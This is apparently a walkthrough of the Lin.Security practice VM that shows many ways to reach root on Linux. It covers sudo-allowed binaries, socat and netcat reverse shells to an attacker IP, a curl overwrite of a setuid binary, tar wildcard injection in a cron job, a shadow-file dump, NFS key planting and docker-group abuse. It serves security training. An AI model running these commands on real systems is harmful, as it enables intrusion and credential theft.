Info

Name: Lin.Security
Operating System: Linux
Url: https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/
Release: 11 Jul 2018
Difficulty: ???
Description: We have configured the box to simulate real-world vulnerabilities (albeit on a single host) which will help you to perfect your local privilege escalation skills, techniques and toolsets. There are a number challenges which range from fairly easy to intermediate level and we’re excited to see the methods you use to solve them!

Getting Started

First thing I did was changing NAT to Bridge, in order to SSH into the box. After this we can SSH in with the following credentials bob/secret.

Let's start finding ways to privesc!

Exploiting SUDO

We can use sudo -l to list programs we can execute with the same privileges as root.

sudo -l
[sudo] password for bob: 
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect,
        /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi,
        /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp

Okay, we have quite a few programs we can abuse in order to escalate to root, so let's just start at the top.

ash

This is a command interpreter (shell). So by running sudo ash we can get a root shell.

bob@linsecurity:~$ sudo ash
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

awk

AWK is a special-purposeprogramming language designed for text processing and typically used as a data extraction and reporting tool.
Since we can run awk using we sudo, we can easily escalate our privileges to root.

bob@linsecurity:~$ sudo awk 'BEGIN {system("/bin/sh")}'
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

bash

Bash is a Unix shell and command language. As with ash we can abuse our sudo rights to privesc.

bob@linsecurity:~$ sudo bash
root@linsecurity:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

sh

The Bourne shell (sh) is a shell, or command-line interpreter, for computer operating systems.

bob@linsecurity:~$ sudo sh
# whoami;id 
root
uid=0(root) gid=0(root) groups=0(root)

csh

The C shell (csh or the improved version, tcsh) is a Unix shell. As with for example sh we can use it to escalate to root.

bob@linsecurity:~$ sudo csh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

curl

We can abuse curl in order to overwrite files as root. By creating a simple setuid binary on my machine, using curl to fetch the program and overwriting an already setuid binary owned by root on the target system, we can get a root shell.

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Compile this program and start a python SimpleHTTPServer and go to the victim machine and fetch the file using curl.

bob@linsecurity:~$ sudo  curl 192.168.1.142/rootshell -o /bin/ping
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16824  100 16824    0     0   966k      0 --:--:-- --:--:-- --:--:--  912k
bob@linsecurity:~$ ping
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),1004(bob)

Since ping needs and already have the setuid bit, we overwrite this file with our own program and can now easily escalate to root.

dash

Dash is an acronym for Debian Almquist shell (dash). It is a Unix and Linux shell which is much smaller than bash but still aiming at POSIX-compliancy.

As with sh, bash etc. we just sudo dash and get a root shell.

bob@linsecurity:~$ sudo dash
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

ed

ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files.
But can also execute commands from inside ed. Beacuse of this, root shell is really straight forward.

bob@linsecurity:~$ sudo ed
!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

env

env is a shellcommand for Linux, Unix, and Unix-like operating systems. It can be used to print a list of the current environment variables, or to run another program in a custom environment without modifying the current one.

bob@linsecurity:~$ sudo env /bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

expect

Expect is a program that "talks" to other interactive programs according to a script. Following the script, expect knows what can be expected from a program and what the correct response should be.

bob@linsecurity:~$ sudo expect -c 'spawn /bin/sh;interact'
spawn /bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

find

Find is a command for recursively filtering objects in the file system based on a simple conditional mechanism. You can use find to search for a file or directory on your file system.
Find do also have an exec parameter which we can abuse to escalate our privileges.

bob@linsecurity:~$ sudo find . -exec /bin/sh \; -quit
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

ftp

By issuing the command ftp without any parameters, we can run commands from within ftp.

bob@linsecurity:~$ sudo ftp
ftp> !/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

less

We can execute commands from inside less.

bob@linsecurity:~$ sudo less /etc/profile
!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

man

As above, we can execute commands from inside of man.

bob@linsecurity:~$ sudo man test
!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

more

... Same with more.

bob@linsecurity:~$ sudo more /var/log/lastlog
!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

scp

scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.

bob@linsecurity:~$ TF=$(mktemp)
bob@linsecurity:~$ echo 'sh 0<&2 1>&2' > $TF
bob@linsecurity:~$ chmod +x "$TF"
bob@linsecurity:~$ sudo scp -S $TF x y:
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

socat

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes - including giving us a root shell!

On the attacker machine:

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:1337

On the vicim machine:

bob@linsecurity:~$ sudo socat tcp-connect:192.168.1.142:1337 exec:sh,pty,stderr,setsid,sigint,sane

Root shell received from victim:

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:1337
sh: 0: can't access tty; job control turned off
# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
linsecurity

ssh

We can use the ProxyCommand option to spawn an interactive shell.

bob@linsecurity:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

vi

As with man etc. we can execute commands from inside of vi.

bob@linsecurity:~$ sudo vi
:!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

zsh

The Z Shell or zsh is an interactive UNIX shell and powerful command-line interpreter for scripting language including shell scripting.
Since it's a interactive shell we can easily get a root shell.

bob@linsecurity:~$ sudo zsh
linsecurity# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

pico

Pico is a simple, display-oriented text editor based on the pine message composer.

sudo pico
^R^X
reset; sh 1>&0 2>&0
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

rvim

Depending on how rvim was compiled, we can spawn a root shell. In this case rvim was compiled with Python support.

bob@linsecurity:~$ sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

perl

Since we can use perl with sudo, we can do the following to get a root shell.

bob@linsecurity:~$ sudo perl -e 'exec "/bin/sh"'
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

tclsh

Tclsh is a shell-like application that reads Tcl commands from its standard input or from a file and evaluates them.

bob@linsecurity:~$ sudo tclsh
% exec /bin/sh <@stdin >@stdout 2>@stderr
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

git

We can abuse the help function of git to get code execution as root.

bob@linsecurity:~$ sudo git help status
!/bin/sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

script

Script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. It is really useful and comes in handy in the strangest kind of times and places.

But this can obviously be abused to get a root shell.

bob@linsecurity:~$ sudo script -q /dev/null
root@linsecurity:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

Exploiting Crontab

Enumerating the box we find the following script running as a cronjob.

#!/bin/bash
for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done

This is a backup script taking everything from a users home dir, compressing it using tar and saving it to /etc/backups.

The problem with tar is that when using wildcards an attacker can inject he's own arguments.

The following is taken from the man page (`man tar`):

--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION execute ACTION on each checkpoint

The --checkpoint-action option will specify a program that will be executed when the checkpoint is reached.
Basically allowing us arbitrary command execution.

On the victim machine:

bob@linsecurity:~$ echo "mkfifo /tmp/0wned; nc 192.168.1.142 1337 0</tmp/0wned | /bin/sh > /tmp/0wned 2>&1; rm /tmp/0wned" > shell.sh
bob@linsecurity:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
bob@linsecurity:~$ echo "" > --checkpoint=1

Now we setup a listener on our machine and wait for the cronjob to execute.
And voila!

root@kali:~# nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.142] from (UNKNOWN) [192.168.1.140] 49912
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

Stealing Credentials

Looking at the home folders we see susan. Listing all files - including hidden files - we find .secret.

bob@linsecurity:/home/susan$ ls -la
total 28
drwxr-xr-x 2 susan susan 4096 Apr  4 18:13 .
drwxr-xr-x 5 root  root  4096 Jul  9  2018 ..
-rw------- 1 susan susan   12 Apr  4 18:13 .bash_history
-rw-r--r-- 1 susan susan  220 Jul  9  2018 .bash_logout
-rw-r--r-- 1 susan susan 3771 Jul  9  2018 .bashrc
-rw-r--r-- 1 susan susan  807 Jul  9  2018 .profile
-rw-r--r-- 1 susan susan   20 Jul  9  2018 .secret

bob@linsecurity:/home/susan$ cat .secret
MySuperS3cretValue!

bob@linsecurity:/home/susan$ su - susan
Password: 
susan@linsecurity:~$ whoami;id
susan
uid=1002(susan) gid=1006(susan) groups=1006(susan),1007(itservices)
susan@linsecurity:~$

Setuid Weakness

Enmerating the machine for setuid binaries we find the following:

bob@linsecurity:~$ find / -perm -4000 2>/dev/null
[...]
/usr/bin/pkexec
/usr/bin/netkit-rlogin
/usr/bin/xxd
[...]

bob@linsecurity:~$ ls -la /usr/bin/xxd
-rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd

xxd is owned by root and the setuid bit is set. By running this program we will run in the context of root, possibly giving us a way to escalate our privileges.
It can however only be ran by root or members of the group "itservices" - exactly the group susan is a member of!

Let's dump /etc/shadow!

susan@linsecurity:~$ xxd /etc/shadow | xxd -r
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
lxd:*:17647:0:99999:7:::
uuidd:*:17647:0:99999:7:::
dnsmasq:*:17647:0:99999:7:::
landscape:*:17647:0:99999:7:::
pollinate:*:17647:0:99999:7:::
sshd:*:17647:0:99999:7:::
bob:$6$Kk0DA.6Xha4nL2p5$jq7qoit2l4ckULg1ZxcbL5wUz2Ld2ZUa.RYaIMs.Lma0EFGheX9yCXfKy37K0GsHz50FYIqIESo4QXWL.DYTI0:17721:0:99999:7:::
statd:*:17721:0:99999:7:::
peter:$6$QpjS4vUG$Zi1KcJ7cRB8TJG9A/x7GhQQvJ0RoYwG4Jxj/6R58SJddU2X/QTQKNJWzwiByeTELKeyp0vS83kPsYITbTTmlb0:17721:0:99999:7:::
susan:$6$5oSmml7K$0joeavcuzw4qxDJ2LsD1ablUIrFhycVoIXL3rxN/3q2lVpQOKLufta5tqMRIh30Gb32IBp5yZ7XvBR6uX9/SR/:17721:0:99999:7:::

NFS Share With R/W Permissions

Doing a nmap scan against the machine reveals that NFS is running. Let's first see if we can find any open shares which we can mount.

root@kali:~# showmount -e 192.168.1.140
Export list for 192.168.1.140:
/home/peter *

Awesome! Let's mount the share to /mnt/peter.

root@kali:~# mount 192.168.1.140:/home/peter /mnt/peter
root@kali:~# ls -la /mnt/peter
total 36
drwxr-xr-x 6 1001 1005 4096 Apr  4 20:49 .
drwxr-xr-x 6 root root 4096 Apr  4 20:47 ..
-rw-r--r-- 1 1001 1005  220 Jul  9  2018 .bash_logout
-rw-r--r-- 1 1001 1005 3771 Jul  9  2018 .bashrc
drwx------ 2 1001 1005 4096 Jul 10  2018 .cache
-rw-rw-r-- 1 1001 1005    0 Jul 10  2018 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 Jul 10  2018 .gnupg
drwxrwxr-x 3 1001 1005 4096 Jul 10  2018 .local
-rw-r--r-- 1 1001 1005  807 Jul  9  2018 .profile

Looking at the UID and GID we see 1001/1005. This mean that I don't have that specific group and user on my system, so even if the share now is mounted I can't write files to the share.

root@kali:/mnt/peter# touch this-wont-work
touch: cannot touch 'this-wont-work': Permission denied

To circumvent this, let's create a user with a UID of 1001 and a group with the GID 1005, and then change to that user and try to write a file.

root@kali:/mnt/peter# groupadd --gid 1005 peter
root@kali:/mnt/peter# useradd --uid 1001 --gid 1005 peter
root@kali:/mnt/peter# su peter
$ pwd
/mnt/peter
$ touch this-will-work
$ ls -la
total 36
drwxr-xr-x 6 peter peter 4096 Apr  6 21:21 .
drwxr-xr-x 6 root  root  4096 Apr  4 20:47 ..
-rw-r--r-- 1 peter peter  220 Jul  9  2018 .bash_logout
-rw-r--r-- 1 peter peter 3771 Jul  9  2018 .bashrc
drwx------ 2 peter peter 4096 Jul 10  2018 .cache
-rw-rw-r-- 1 peter peter    0 Jul 10  2018 .cloud-locale-test.skip
drwx------ 3 peter peter 4096 Jul 10  2018 .gnupg
drwxrwxr-x 3 peter peter 4096 Jul 10  2018 .local
-rw-r--r-- 1 peter peter  807 Jul  9  2018 .profile
-rw-r--r-- 1 peter peter    0 Apr  6 21:21 this-will-work

Awesome! We can now write files to the share as the user peter.

So, how do we utilize this to escalate to peter? How about generating a SSH key and adding that to peter's authorized_keys? Let's try.

Let's first generate a new SSH key.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): 
Created directory '/home/peter/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/peter/.ssh/id_rsa.
Your public key has been saved in /home/peter/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:+En3XyUetPS2jh2B8YewtngZErHxNp1CoPD8D6Q6Wj4 peter@kali
The key's randomart image is:
+---[RSA 2048]----+
|      .   +..    |
|       + . * . . |
|        + + *.=  |
|       . + o B++ |
|      . S = +.=o=|
|       + o B = +=|
|      + o . * .o.|
|     +E.   . .+..|
|    . ..     ..o |
+----[SHA256]-----+

Now, let's create a .ssh directory inside peter's home directory (on the share) and add the public key we just generated to authorized_keys.

$ pwd
/mnt/peter
$ mkdir .ssh
$ touch .ssh/authorized_keys
$ ls -la /home/peter/.ssh
total 16
drwx------ 2 peter peter 4096 Apr  6 21:24 .
drwxr-xr-x 3 peter peter 4096 Apr  6 21:24 ..
-rw------- 1 peter peter 1811 Apr  6 21:24 id_rsa
-rw-r--r-- 1 peter peter  392 Apr  6 21:24 id_rsa.pub
$ cat /home/peter/.ssh/id_rsa.pub > .ssh/authorized_keys
$ ssh peter@192.168.1.140
The authenticity of host '192.168.1.140 (192.168.1.140)' can't be established.
ECDSA key fingerprint is SHA256:I+wq8xJMlaf4EveLeaB70dPi9oP2lx9jUOcJ2Cx9ngQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.140' (ECDSA) to the list of known hosts.

██╗     ██╗███╗   ██╗   ███████╗███████╗ ██████╗██╗   ██╗██████╗ ██╗████████╗██╗   ██╗
██║     ██║████╗  ██║   ██╔════╝██╔════╝██╔════╝██║   ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
██║     ██║██╔██╗ ██║   ███████╗█████╗  ██║     ██║   ██║██████╔╝██║   ██║    ╚████╔╝ 
██║     ██║██║╚██╗██║   ╚════██║██╔══╝  ██║     ██║   ██║██╔══██╗██║   ██║     ╚██╔╝  
███████╗██║██║ ╚████║██╗███████║███████╗╚██████╗╚██████╔╝██║  ██║██║   ██║      ██║   
╚══════╝╚═╝╚═╝  ╚═══╝╚═╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝   ╚═╝      ╚═╝  
Welcome to lin.security | https://in.security | version 1.0

peter@linsecurity:~$ whoami;id
peter
uid=1001(peter) gid=1005(peter) groups=1005(peter),999(docker)

Sweet! We have just escalated to the user peter!

Exploiting The Docker Group

Looking at the groups peter is added to we see docker. This is a really powerful group and there's ton of information on the internet on how to privesc using the docker group.

The Docker Hub already have an image which we can use to get a root shell, called "rootplease".
Let's give it a shot!

peter@linsecurity:~$ docker run -v /:/linsecurity -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
# cat /etc/shadow
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
[...]

Root, once again!

Further Reading

https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/

https://gtfobins.github.io/

https://fosterelli.co/privilege-escalation-via-docker.html

http://fullyautolinux.blogspot.com/2015/11/nfs-norootsquash-and-suid-basic-nfs.html